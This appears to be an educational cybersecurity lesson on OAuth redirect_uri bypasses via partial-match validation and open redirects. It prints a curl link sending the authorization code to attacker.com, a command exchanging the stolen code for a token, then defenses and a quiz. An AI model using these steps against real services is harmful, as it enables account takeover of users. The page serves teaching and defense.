Vulnarex | Elite Cybersecurity Learning Platform

#Stealing Tokens through Trust#link

Many of the most high-profile OAuth vulnerabilities in companies like GitHub and Facebook stemmed from a single failure: loose validation of the `redirect_uri`. By manipulating where the authorization code is sent, attackers can hijack user accounts with a single click.

The Vulnerability: Partial Match Validation

Some Authorization Servers use 'Partial Match' or 'Wildcard' validation for redirect URIs. For example, they might allow any URI that starts with `https://client.example.com`.

callout

If an attacker finds an 'Open Redirect' on any subdomain of `client.example.com`, they can bypass the whitelist entirely.

Crafting the Theft Link

root@vulnarex:~#curl "https://auth.com/authorize?client_id=123&redirect_uri=https://client.example.com/logout?redirect=https://attacker.com&response_type=code"

In this scenario, the Auth Server sees that the URI starts with the approved domain and allows the request. The user is sent to the legitimate site, but the `/logout` page then redirects them (along with the sensitive `code`) to the attacker's server.

From Code to Account Takeover

STRICT SECURE AUDIT RULE

Once the attacker has the authorization code, they only need the `client_id` and `client_secret` (if it's a public client, they may not even need the secret) to exchange that code for a full access token.

bash

# Attacker exchanging the stolen code for a token
curl -X POST https://auth.com/token \
-d "grant_type=authorization_code" \
-d "code=STOLEN_CODE_HERE" \
-d "client_id=CLIENT_ID"

Validation Type	Example	Risk	Verdict
None	Any URI	Critical	Broken
Wildcard	*.example.com	High	Vulnerable
Prefix Match	https://app.com/*	Medium	Vulnerable
Exact Match	https://app.com/callback	Low	Secure

The Modern Defense

The industry has moved toward 'Exact Match' whitelisting. The Authorization Server should only allow redirects to URIs that are explicitly registered by the developer, character for character.

▪Implement exact-match whitelisting for all redirect URIs
▪Avoid using generic redirectors (e.g., /logout?url=...)
▪Use PKCE to ensure the client exchanging the code is the one who requested it
▪Encourage the use of the `state` parameter to prevent CSRF during the redirect

STRICT SECURE AUDIT RULE

Even with exact match, if a developer registers a URI that points to an open redirector, the security is negated.

quiz BLOCK (★ 50 XP)

Why is a 'Prefix Match' (e.g., https://app.com/*) considered a security risk in OAuth?

Select your proof vectors above

challenge BLOCK (★ 100 XP)

The Whitelist Bypass